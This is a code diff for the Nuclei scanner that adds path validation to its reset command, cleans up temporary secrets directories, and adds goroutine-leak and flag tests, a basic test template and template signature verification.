||||
}
|
||||
} else {
|
||||
gologger.Warning().Msgf("No 'var' section found in config file: %s", cfgFile)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
templatesDir := options.NewTemplatesDirectory
|
||||
if templatesDir == "" {
|
||||
templatesDir = os.Getenv(config.NucleiTemplatesDirEnv)
|
||||
}
|
||||
if templatesDir != "" {
|
||||
config.DefaultConfig.SetTemplatesDir(templatesDir)
|
||||
}
|
||||
|
||||
defaultProfilesPath := filepath.Join(config.DefaultConfig.GetTemplateDir(), "profiles")
|
||||
if templateProfile != "" {
|
||||
if filepath.Ext(templateProfile) == "" {
|
||||
if tp := findProfilePathById(templateProfile, defaultProfilesPath); tp != "" {
|
||||
templateProfile = tp
|
||||
} else {
|
||||
options.Logger.Fatal().Msgf("'%s' is not a profile-id or profile path", templateProfile)
|
||||
}
|
||||
}
|
||||
if !filepath.IsAbs(templateProfile) {
|
||||
if filepath.Dir(templateProfile) == "profiles" {
|
||||
defaultProfilesPath = filepath.Join(config.DefaultConfig.GetTemplateDir())
|
||||
}
|
||||
currentDir, err := os.Getwd()
|
||||
if err == nil && fileutil.FileExists(filepath.Join(currentDir, templateProfile)) {
|
||||
templateProfile = filepath.Join(currentDir, templateProfile)
|
||||
} else {
|
||||
templateProfile = filepath.Join(defaultProfilesPath, templateProfile)
|
||||
}
|
||||
}
|
||||
if !fileutil.FileExists(templateProfile) {
|
||||
options.Logger.Fatal().Msgf("given template profile file '%s' does not exist", templateProfile)
|
||||
}
|
||||
if err := flagSet.MergeConfigFile(templateProfile); err != nil {
|
||||
options.Logger.Fatal().Msgf("Could not read template profile: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
if len(options.SecretsFile) > 0 {
|
||||
for _, secretFile := range options.SecretsFile {
|
||||
if !fileutil.FileExists(secretFile) {
|
||||
options.Logger.Fatal().Msgf("given secrets file '%s' does not exist", secretFile)
|
||||
fatalf("Secrets file '%s' does not exist", secretFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cleanupOldResumeFiles()
|
||||
|
||||
return flagSet
|
||||
}
|
||||
|
||||
// cleanupOldResumeFiles cleans up resume files older than 10 days.
|
||||
func cleanupOldResumeFiles() {
|
||||
root := config.DefaultConfig.GetCacheDir()
|
||||
root := config.DefaultConfig.GetStateDir()
|
||||
filter := fileutil.FileFilters{
|
||||
OlderThan: 24 * time.Hour * 10, // cleanup on the 10th day
|
||||
Prefix: "resume-",
|
||||
@@ -682,46 +648,10 @@ func cleanupOldResumeFiles() {
|
||||
_ = fileutil.DeleteFilesOlderThan(root, filter)
|
||||
}
|
||||
|
||||
// readFlagsConfig reads the config file from the default config dir and copies it to the current config dir.
|
||||
func readFlagsConfig(flagset *goflags.FlagSet) {
|
||||
// check if config.yaml file exists
|
||||
defaultCfgFile, err := flagset.GetConfigFilePath()
|
||||
if err != nil {
|
||||
// something went wrong either dir is not readable or something else went wrong upstream in `goflags`
|
||||
// warn and exit in this case
|
||||
options.Logger.Warning().Msgf("Could not read config file: %s\n", err)
|
||||
return
|
||||
}
|
||||
cfgFile := config.DefaultConfig.GetFlagsConfigFilePath()
|
||||
if !fileutil.FileExists(cfgFile) {
|
||||
if !fileutil.FileExists(defaultCfgFile) {
|
||||
// if default config does not exist, warn and exit
|
||||
options.Logger.Warning().Msgf("missing default config file : %s", defaultCfgFile)
|
||||
return
|
||||
}
|
||||
// if does not exist copy it from the default config
|
||||
if err = fileutil.CopyFile(defaultCfgFile, cfgFile); err != nil {
|
||||
options.Logger.Warning().Msgf("Could not copy config file: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
// if config file exists, merge it with the default config
|
||||
if err = flagset.MergeConfigFile(cfgFile); err != nil {
|
||||
options.Logger.Warning().Msgf("failed to merge configfile with flags got: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
// disableUpdatesCallback disables the update check.
|
||||
func disableUpdatesCallback() {
|
||||
config.DefaultConfig.DisableUpdateCheck()
|
||||
}
|
||||
|
||||
// printVersion prints the nuclei version and exits.
|
||||
func printVersion() {
|
||||
options.Logger.Info().Msgf("Nuclei Engine Version: %s", config.Version)
|
||||
options.Logger.Info().Msgf("Nuclei Config Directory: %s", config.DefaultConfig.GetConfigDir())
|
||||
options.Logger.Info().Msgf("Nuclei Cache Directory: %s", config.DefaultConfig.GetCacheDir()) // cache dir contains resume files
|
||||
options.Logger.Info().Msgf("PDCP Directory: %s", pdcp.PDCPDir)
|
||||
runner.LogDirectoryInfo(options.Logger)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
@@ -745,63 +675,155 @@ func printTemplateVersion() {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
type resetPath struct {
|
||||
name string
|
||||
path string
|
||||
}
|
||||
|
||||
func resetCallback() {
|
||||
cfg := config.DefaultConfig
|
||||
templateRoot := cfg.TemplatesDirectory
|
||||
templateAction := fmt.Sprintf("4. Active nuclei-templates at %v", templateRoot)
|
||||
warning := fmt.Sprintf(`
|
||||
Using '-reset' will delete all nuclei configurations files and all nuclei-templates
|
||||
Using '-reset' will delete Nuclei configuration, state, cache, and template files
|
||||
|
||||
Following files will be deleted:
|
||||
1. All Config + Resumes files at %v
|
||||
2. All nuclei-templates at %v
|
||||
1. All config files at %v
|
||||
2. All state files (including generated resume state) at %v
|
||||
3. All cache files at %v
|
||||
%s
|
||||
|
||||
Note: Make sure you have backup of your custom nuclei-templates before proceeding
|
||||
|
||||
`, config.DefaultConfig.GetConfigDir(), config.DefaultConfig.TemplatesDirectory)
|
||||
`, cfg.GetConfigDir(), cfg.GetStateDir(), cfg.GetCacheDir(), templateAction)
|
||||
options.Logger.Print().Msg(warning)
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
fmt.Print("Are you sure you want to continue? [y/n]: ")
|
||||
|
||||
resp, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
options.Logger.Fatal().Msgf("could not read response: %s", err)
|
||||
fatalf("Could not read response: %s", err)
|
||||
}
|
||||
|
||||
resp = strings.TrimSpace(resp)
|
||||
if stringsutil.EqualFoldAny(resp, "y", "yes") {
|
||||
break
|
||||
}
|
||||
|
||||
if stringsutil.EqualFoldAny(resp, "n", "no", "") {
|
||||
fmt.Println("Exiting...")
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
err := os.RemoveAll(config.DefaultConfig.GetConfigDir())
|
||||
if err != nil {
|
||||
options.Logger.Fatal().Msgf("could not delete config dir: %s", err)
|
||||
|
||||
resetPaths := []resetPath{
|
||||
{name: "config", path: cfg.GetConfigDir()},
|
||||
{name: "state", path: cfg.GetStateDir()},
|
||||
{name: "cache", path: cfg.GetCacheDir()},
|
||||
{name: "templates", path: templateRoot},
|
||||
}
|
||||
err = os.RemoveAll(config.DefaultConfig.TemplatesDirectory)
|
||||
if err != nil {
|
||||
options.Logger.Fatal().Msgf("could not delete templates dir: %s", err)
|
||||
|
||||
if err := removeResetPaths(resetPaths); err != nil {
|
||||
fatalf("Could not reset paths: %s", err)
|
||||
}
|
||||
options.Logger.Info().Msgf("Successfully deleted all nuclei configurations files and nuclei-templates")
|
||||
|
||||
options.Logger.Info().Msgf("Successfully reset Nuclei files")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func findProfilePathById(profileId, templatesDir string) string {
|
||||
var profilePath string
|
||||
err := filepath.WalkDir(templatesDir, func(iterItem string, d fs.DirEntry, err error) error {
|
||||
ext := filepath.Ext(iterItem)
|
||||
isYaml := ext == extensions.YAML || ext == extensions.YML
|
||||
if err != nil || d.IsDir() || !isYaml {
|
||||
// skip non yaml files
|
||||
return nil
|
||||
func removeResetPaths(paths []resetPath) error {
|
||||
for _, path := range paths {
|
||||
if err := validateResetPath(path.path); err != nil {
|
||||
return fmt.Errorf("error validating %s path: %w", path.name, err)
|
||||
}
|
||||
if strings.TrimSuffix(filepath.Base(iterItem), ext) == profileId {
|
||||
profilePath = iterItem
|
||||
return fmt.Errorf("FOUND")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil && err.Error() != "FOUND" {
|
||||
options.Logger.Error().Msgf("%s\n", err)
|
||||
}
|
||||
return profilePath
|
||||
|
||||
for _, path := range paths {
|
||||
if err := os.RemoveAll(path.path); err != nil {
|
||||
return fmt.Errorf("error deleting %s path: %w", path.name, err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateResetPath(path string) error {
|
||||
if path == "" {
|
||||
return fmt.Errorf("path is empty")
|
||||
}
|
||||
|
||||
absPath, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("resolve %q: %w", path, err)
|
||||
}
|
||||
|
||||
absPath = filepath.Clean(absPath)
|
||||
volume := filepath.VolumeName(absPath)
|
||||
if absPath == filepath.Clean(volume+string(filepath.Separator)) {
|
||||
return fmt.Errorf("path %q is a filesystem root", absPath)
|
||||
}
|
||||
|
||||
relativePath := strings.Trim(filepath.ToSlash(strings.TrimPrefix(absPath, volume)), "/")
|
||||
if relativePath == "" || len(strings.Split(relativePath, "/")) < 2 {
|
||||
return fmt.Errorf("path %q is too broad", absPath)
|
||||
}
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil && absPath == filepath.Clean(homeDir) {
|
||||
return fmt.Errorf("path %q is the user home directory", absPath)
|
||||
}
|
||||
|
||||
if absPath == filepath.Clean(os.TempDir()) {
|
||||
return fmt.Errorf("path %q is the system temporary directory", absPath)
|
||||
}
|
||||
|
||||
if cwd, err := os.Getwd(); err == nil && absPath == filepath.Clean(cwd) {
|
||||
return fmt.Errorf("path %q is the current working directory", absPath)
|
||||
}
|
||||
|
||||
if resolvedPath, err := filepath.EvalSymlinks(absPath); err == nil && resolvedPath != absPath {
|
||||
if err := validateResetPath(resolvedPath); err != nil {
|
||||
return fmt.Errorf("resolved path %q is unsafe: %w", resolvedPath, err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func cleanupInlineSecretsDirs() {
|
||||
inlineSecretsTempMu.Lock()
|
||||
dir := inlineSecretsTempDir
|
||||
inlineSecretsTempDir = ""
|
||||
inlineSecretsTempMu.Unlock()
|
||||
|
||||
if dir != "" {
|
||||
_ = os.RemoveAll(dir)
|
||||
}
|
||||
}
|
||||
|
||||
func setInlineSecretsTempDir(dir string) {
|
||||
inlineSecretsTempMu.Lock()
|
||||
inlineSecretsTempDir = dir
|
||||
inlineSecretsTempMu.Unlock()
|
||||
}
|
||||
|
||||
func cliOnlyDynamicValue(flagSet *goflags.FlagSet, name, value string) string {
|
||||
found := false
|
||||
|
||||
flagSet.CommandLine.Visit(func(current *flag.Flag) {
|
||||
if current.Name == name {
|
||||
found = true
|
||||
}
|
||||
})
|
||||
|
||||
if !found {
|
||||
return ""
|
||||
}
|
||||
|
||||
return value
|
||||
}
|
||||
|
||||
func fatalf(format string, args ...any) {
|
||||
cleanupInlineSecretsDirs()
|
||||
options.Logger.Fatal().Msgf(format, args...)
|
||||
}
|
||||
@@ -34,10 +34,15 @@ func TestMain(m *testing.M) {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
dummyServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
}))
|
||||
targetURL = dummyServer.URL
|
||||
// Only start the shared httptest for benchmarks so unit tests (e.g. goleak)
|
||||
// are not polluted by a long-lived accept loop.
|
||||
var dummyServer *httptest.Server
|
||||
if isBenchmarkRun() {
|
||||
dummyServer = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
}))
|
||||
targetURL = dummyServer.URL
|
||||
}
|
||||
|
||||
// Execute tests
|
||||
|
||||
@@ -45,13 +50,24 @@ func TestMain(m *testing.M) {
|
||||
|
||||
// Tear down
|
||||
|
||||
dummyServer.Close()
|
||||
if dummyServer != nil {
|
||||
dummyServer.Close()
|
||||
}
|
||||
_ = os.RemoveAll(projectPath)
|
||||
_ = os.Unsetenv("DISABLE_STDOUT")
|
||||
|
||||
os.Exit(exitCode)
|
||||
}
|
||||
|
||||
func isBenchmarkRun() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if strings.HasPrefix(arg, "-test.bench") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// getUniqFilename generates a unique filename by appending .N if file exists
|
||||
// Similar to wget's behavior: file.cpu.prof, file.cpu.1.prof, file.cpu.2.prof, etc.
|
||||
func getUniqFilename(basePath string) string {
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
package main_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/runner"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/rs/xid"
|
||||
"github.com/stretchr/testify/require"
|
||||
"github.com/tarunKoyalwar/goleak"
|
||||
)
|
||||
|
||||
const cliLeakTestChildEnv = "NUCLEI_CLI_LEAKTEST_CHILD"
|
||||
|
||||
var cliKnownLeaks = []goleak.Option{
|
||||
goleak.Pretty(),
|
||||
goleak.IgnoreAnyFunction("net/http.(*http2ClientConn).readLoop"),
|
||||
goleak.IgnoreAnyFunction("net/http.(*persistConn).readLoop"),
|
||||
goleak.IgnoreAnyFunction("net/http.(*persistConn).writeLoop"),
|
||||
goleak.IgnoreAnyContainingPkg("github.com/hashicorp/golang-lru/v2/expirable"),
|
||||
goleak.IgnoreAnyContainingPkg("github.com/syndtr/goleveldb"),
|
||||
goleak.IgnoreAnyContainingPkg("github.com/projectdiscovery/ratelimit"),
|
||||
goleak.IgnoreAnyFunction("github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate.StartActiveMemGuardian.func1"),
|
||||
}
|
||||
|
||||
// TestCLIRunnerGoroutineLeak runs a minimal CLI-path nuclei scan via internal/runner
|
||||
// and asserts no unexpected goroutine leaks remain after Close.
|
||||
//
|
||||
// The body runs in a child process so shared package state from other tests
|
||||
// does not pollute goleak (same approach as lib/tests SDK leak coverage).
|
||||
func TestCLIRunnerGoroutineLeak(t *testing.T) {
|
||||
if os.Getenv(cliLeakTestChildEnv) == "1" {
|
||||
runCLIRunnerLeakTest(t)
|
||||
return
|
||||
}
|
||||
|
||||
cmd := exec.Command(os.Args[0], "-test.run=^TestCLIRunnerGoroutineLeak$", "-test.count=1", "-test.v")
|
||||
cmd.Env = append(os.Environ(), cliLeakTestChildEnv+"=1")
|
||||
out, err := cmd.CombinedOutput()
|
||||
require.NoError(t, err, "CLI leak test child failed:\n%s", string(out))
|
||||
}
|
||||
|
||||
func runCLIRunnerLeakTest(t *testing.T) {
|
||||
gologger.DefaultLogger.SetMaxLevel(levels.LevelSilent)
|
||||
_ = os.Setenv("DISABLE_STDOUT", "true")
|
||||
t.Cleanup(func() { _ = os.Unsetenv("DISABLE_STDOUT") })
|
||||
config.DefaultConfig.DisableUpdateCheck()
|
||||
|
||||
defer func() {
|
||||
time.Sleep(2 * time.Second)
|
||||
goleak.VerifyNone(t, cliKnownLeaks...)
|
||||
}()
|
||||
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
_, thisFile, _, ok := runtime.Caller(0)
|
||||
require.True(t, ok)
|
||||
templatePath := filepath.Join(filepath.Dir(thisFile), "testdata", "leaktest", "basic-http.yaml")
|
||||
|
||||
options := getDefaultOptions()
|
||||
options.Targets = []string{server.URL}
|
||||
options.Templates = []string{templatePath}
|
||||
options.NoInteractsh = true
|
||||
options.DisableStdin = true
|
||||
options.BulkSize = 1
|
||||
options.TemplateThreads = 1
|
||||
options.PayloadConcurrency = 1
|
||||
options.ExecutionId = xid.New().String()
|
||||
|
||||
runner.ParseOptions(options)
|
||||
|
||||
nucleiRunner, err := runner.New(options)
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, nucleiRunner)
|
||||
defer nucleiRunner.Close()
|
||||
|
||||
require.NoError(t, nucleiRunner.RunEnumeration())
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// Ensures nuclei's goflags dependency still exposes AddCommonFlags / -max-time,
|
||||
// which is what cmd/nuclei wires via flagSet.AddCommonFlags().
|
||||
func TestMaxTimeCommonFlagAvailable(t *testing.T) {
|
||||
flagSet := goflags.NewFlagSet()
|
||||
common := flagSet.AddCommonFlags()
|
||||
require.NotNil(t, common)
|
||||
|
||||
require.NoError(t, flagSet.Parse("-max-time", "1h30m"))
|
||||
require.Equal(t, 90*time.Minute, common.MaxTime)
|
||||
|
||||
flagSet = goflags.NewFlagSet()
|
||||
common = flagSet.AddCommonFlags()
|
||||
require.NoError(t, flagSet.Parse("-mt", "45s"))
|
||||
require.Equal(t, 45*time.Second, common.MaxTime)
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
)
|
||||
|
||||
const inlineSecretsFatalChildEnv = "NUCLEI_INLINE_SECRETS_FATAL_CHILD"
|
||||
|
||||
func TestValidateResetPathRejectsBroadTargets(t *testing.T) {
|
||||
if err := validateResetPath(""); err == nil {
|
||||
t.Fatal("empty reset path was accepted")
|
||||
}
|
||||
if err := validateResetPath(string(filepath.Separator)); err == nil {
|
||||
t.Fatal("filesystem root reset path was accepted")
|
||||
}
|
||||
if err := validateResetPath(filepath.Join(string(filepath.Separator), "var")); err == nil {
|
||||
t.Fatal("broad top-level reset path was accepted")
|
||||
}
|
||||
if err := validateResetPath(os.TempDir()); err == nil {
|
||||
t.Fatal("system temporary directory reset path was accepted")
|
||||
}
|
||||
if cwd, err := os.Getwd(); err == nil {
|
||||
if err := validateResetPath(cwd); err == nil {
|
||||
t.Fatal("current working directory reset path was accepted")
|
||||
}
|
||||
}
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
if err := validateResetPath(homeDir); err == nil {
|
||||
t.Fatal("user home reset path was accepted")
|
||||
}
|
||||
}
|
||||
if err := validateResetPath(t.TempDir()); err != nil {
|
||||
t.Fatalf("scoped reset path was rejected: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRemoveResetPathsValidatesAllTargetsBeforeDeletion(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
configDir := filepath.Join(root, "config")
|
||||
if err := os.Mkdir(configDir, 0o700); err != nil {
|
||||
t.Fatalf("create config directory: %v", err)
|
||||
}
|
||||
|
||||
paths := []resetPath{
|
||||
{name: "config", path: configDir},
|
||||
{name: "unsafe", path: string(filepath.Separator)},
|
||||
}
|
||||
if err := removeResetPaths(paths); err == nil {
|
||||
t.Fatal("unsafe reset target was accepted")
|
||||
}
|
||||
if _, err := os.Stat(configDir); err != nil {
|
||||
t.Fatalf("config directory was removed before validation completed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCleanupInlineSecretsDirsRemovesPrivateDirectory(t *testing.T) {
|
||||
secretsDir := filepath.Join(t.TempDir(), "nuclei-secrets-run")
|
||||
if err := os.Mkdir(secretsDir, 0o700); err != nil {
|
||||
t.Fatalf("create inline secrets directory: %v", err)
|
||||
}
|
||||
secretsPath := filepath.Join(secretsDir, "inline-secrets.yaml")
|
||||
if err := os.WriteFile(secretsPath, []byte("static: []\n"), 0o600); err != nil {
|
||||
t.Fatalf("write inline secrets file: %v", err)
|
||||
}
|
||||
|
||||
inlineSecretsTempMu.Lock()
|
||||
previous := inlineSecretsTempDir
|
||||
inlineSecretsTempDir = secretsDir
|
||||
inlineSecretsTempMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
inlineSecretsTempMu.Lock()
|
||||
inlineSecretsTempDir = previous
|
||||
inlineSecretsTempMu.Unlock()
|
||||
})
|
||||
|
||||
cleanupInlineSecretsDirs()
|
||||
if _, err := os.Stat(secretsDir); !os.IsNotExist(err) {
|
||||
t.Fatalf("inline secrets directory still exists: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCleanupInlineSecretsDirsIsConcurrentSafe(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
dir := filepath.Join(root, "nuclei-secrets")
|
||||
if err := os.Mkdir(dir, 0o700); err != nil {
|
||||
t.Fatalf("create inline secrets directory: %v", err)
|
||||
}
|
||||
|
||||
inlineSecretsTempMu.Lock()
|
||||
previous := inlineSecretsTempDir
|
||||
inlineSecretsTempDir = dir
|
||||
inlineSecretsTempMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
inlineSecretsTempMu.Lock()
|
||||
inlineSecretsTempDir = previous
|
||||
inlineSecretsTempMu.Unlock()
|
||||
})
|
||||
|
||||
start := make(chan struct{})
|
||||
var wg sync.WaitGroup
|
||||
for range 8 {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
<-start
|
||||
cleanupInlineSecretsDirs()
|
||||
}()
|
||||
}
|
||||
close(start)
|
||||
wg.Wait()
|
||||
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
t.Fatalf("inline secrets directory still exists: %s: %v", dir, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadConfigFatalCleansInlineSecretsDirectory(t *testing.T) {
|
||||
if os.Getenv(inlineSecretsFatalChildEnv) == "1" {
|
||||
options = &types.Options{Logger: gologger.DefaultLogger}
|
||||
os.Args = []string{
|
||||
os.Args[0],
|
||||
"-profile", os.Getenv("NUCLEI_TEST_PROFILE"),
|
||||
"-secret-file", os.Getenv("NUCLEI_TEST_MISSING_SECRET"),
|
||||
"-disable-update-check",
|
||||
}
|
||||
readConfig()
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
root := t.TempDir()
|
||||
profilePath := filepath.Join(root, "profile.yaml")
|
||||
if err := os.WriteFile(profilePath, []byte("secrets:\n static: []\n"), 0o600); err != nil {
|
||||
t.Fatalf("write profile: %v", err)
|
||||
}
|
||||
missingSecret := filepath.Join(root, "missing-secrets.yaml")
|
||||
tempRoot := filepath.Join(root, "tmp")
|
||||
if err := os.Mkdir(tempRoot, 0o700); err != nil {
|
||||
t.Fatalf("create temporary root: %v", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command(os.Args[0], "-test.run=^TestReadConfigFatalCleansInlineSecretsDirectory$", "-test.count=1")
|
||||
cmd.Env = isolatedNucleiStorageEnv(root, tempRoot,
|
||||
inlineSecretsFatalChildEnv+"=1",
|
||||
"NUCLEI_TEST_PROFILE="+profilePath,
|
||||
"NUCLEI_TEST_MISSING_SECRET="+missingSecret,
|
||||
)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err == nil {
|
||||
t.Fatal("child process did not exit on the missing secrets file")
|
||||
}
|
||||
if !bytes.Contains(output, []byte("Secrets file")) || !bytes.Contains(output, []byte("does not exist")) {
|
||||
t.Fatalf("child did not reach the missing secrets file failure:\n%s", output)
|
||||
}
|
||||
|
||||
matches, err := filepath.Glob(filepath.Join(tempRoot, "nuclei-secrets-*"))
|
||||
if err != nil {
|
||||
t.Fatalf("list inline secrets directories: %v", err)
|
||||
}
|
||||
if len(matches) != 0 {
|
||||
t.Fatalf("inline secrets directories remain after fatal exit: %v", matches)
|
||||
}
|
||||
}
|
||||
|
||||
func isolatedNucleiStorageEnv(root, tempRoot string, extra ...string) []string {
|
||||
env := append(os.Environ(),
|
||||
"TMPDIR="+tempRoot,
|
||||
"TMP="+tempRoot,
|
||||
"TEMP="+tempRoot,
|
||||
"XDG_CONFIG_HOME="+filepath.Join(root, "config"),
|
||||
"XDG_STATE_HOME="+filepath.Join(root, "state"),
|
||||
"XDG_CACHE_HOME="+filepath.Join(root, "cache"),
|
||||
"XDG_DATA_HOME="+filepath.Join(root, "data"),
|
||||
"NUCLEI_CONFIG_DIR="+filepath.Join(root, "config", "nuclei"),
|
||||
)
|
||||
return append(env, extra...)
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
id: leaktest-basic-http
|
||||
|
||||
info:
|
||||
name: CLI Leak Test Basic HTTP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 204
|
||||
+5
-5
@@ -196,14 +196,14 @@ func process(opts options) error {
|
||||
}
|
||||
|
||||
if opts.format {
|
||||
formatedTemplateData, isFormated, err := formatTemplate(dataString)
|
||||
formattedTemplateData, isFormatted, err := formatTemplate(dataString)
|
||||
if err != nil {
|
||||
gologger.Info().Label("format").Msg(logErrMsg(path, err, opts.debug, errFile))
|
||||
} else {
|
||||
if isFormated {
|
||||
_ = os.WriteFile(path, []byte(formatedTemplateData), 0644)
|
||||
dataString = formatedTemplateData
|
||||
gologger.Info().Label("format").Msgf("✅ formated template: %s\n", path)
|
||||
if isFormatted {
|
||||
_ = os.WriteFile(path, []byte(formattedTemplateData), 0644)
|
||||
dataString = formattedTemplateData
|
||||
gologger.Info().Label("format").Msgf("✅ formatted template: %s\n", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@ import (
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/fuzzplayground"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
@@ -52,6 +52,17 @@ func main() {
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to create signer: %s", err)
|
||||
}
|
||||
certData, err := os.ReadFile(cert)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to read certificate file %s: %s", cert, err)
|
||||
}
|
||||
tmplVerifier, err := signer.NewTemplateSigVerifier(certData)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to create verifier: %s", err)
|
||||
}
|
||||
if err := signer.AddSignerToDefault(tmplVerifier); err != nil {
|
||||
gologger.Fatal().Msgf("failed to register verifier: %s", err)
|
||||
}
|
||||
gologger.Info().Msgf("Template Signer: %v\n", tmplSigner.Identifier())
|
||||
|
||||
// read file
|
||||
@@ -95,6 +106,14 @@ func main() {
|
||||
gologger.Info().Msgf("------------------------")
|
||||
gologger.Info().Msgf("Signature: %s", sig2)
|
||||
gologger.Info().Msgf("Content Hash (SHA256): %s\n", hex.EncodeToString(hash2[:]))
|
||||
|
||||
tmpl, err = templates.Parse(template, nil, execOpts)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to parse signed template: %s", err)
|
||||
}
|
||||
}
|
||||
if !tmpl.Verified {
|
||||
gologger.Fatal().Msg("template signature could not be verified with the provided certificate")
|
||||
}
|
||||
gologger.Info().Msgf("✓ Template signed & verified successfully")
|
||||
}
|
||||
|
||||
-105
@@ -1,105 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# This script is used to retry failed workflows in github actions.
|
||||
# It uses gh cli to fetch the failed workflows and then rerun them.
|
||||
# It also checks the logs of the failed workflows to see if it is a flaky test.
|
||||
# If it is a flaky test, it will rerun the failed jobs in the workflow.
|
||||
# eg:
|
||||
# ./gh_retry.sh -h to see the help.
|
||||
# ./gh_retry.sh will run the script with default values.
|
||||
|
||||
# You can also pass the following arguments:
|
||||
# ./gh_retry.sh -b master -l 30 -t "30 mins ago" -w "Build Test"
|
||||
|
||||
#Initialize variables to default values.
|
||||
BRANCH=$(git symbolic-ref --short HEAD)
|
||||
LIMIT=30
|
||||
BEFORE="30 mins ago"
|
||||
WORKFLOW="Build Test"
|
||||
|
||||
# You can add multiple patterns separated by |
|
||||
GREP_ERROR_PATTERN='Test "http/interactsh.yaml" failed'
|
||||
|
||||
#Set fonts for Help.
|
||||
NORM=$(tput sgr0)
|
||||
BOLD=$(tput bold)
|
||||
REV=$(tput smso)
|
||||
|
||||
HELP()
|
||||
{
|
||||
# Display Help
|
||||
echo "Script to retry failed workflows in github actions."
|
||||
echo
|
||||
echo "Syntax: scriptTemplate [-b]"
|
||||
echo "options:"
|
||||
echo "${REV}-b${NORM} Branch to check failed workflows/jobs. Default is ${BOLD}$BRANCH${NORM}."
|
||||
echo "${REV}-l${NORM} Maximum number of runs to fetch. Default is ${BOLD}$LIMIT${NORM}."
|
||||
echo "${REV}-t${NORM} Time to filter the failed jobs. Default is ${BOLD}$BEFORE${NORM}."
|
||||
echo "${REV}-w${NORM} Workflow to filter the failed jobs. Default is ${BOLD}$WORKFLOW${NORM}."
|
||||
echo
|
||||
}
|
||||
|
||||
while getopts :b:l:t:w:h FLAG; do
|
||||
case $FLAG in
|
||||
b)
|
||||
BRANCH=$OPTARG
|
||||
;;
|
||||
l)
|
||||
LIMIT=$OPTARG
|
||||
;;
|
||||
t)
|
||||
BEFORE=$OPTARG
|
||||
;;
|
||||
w)
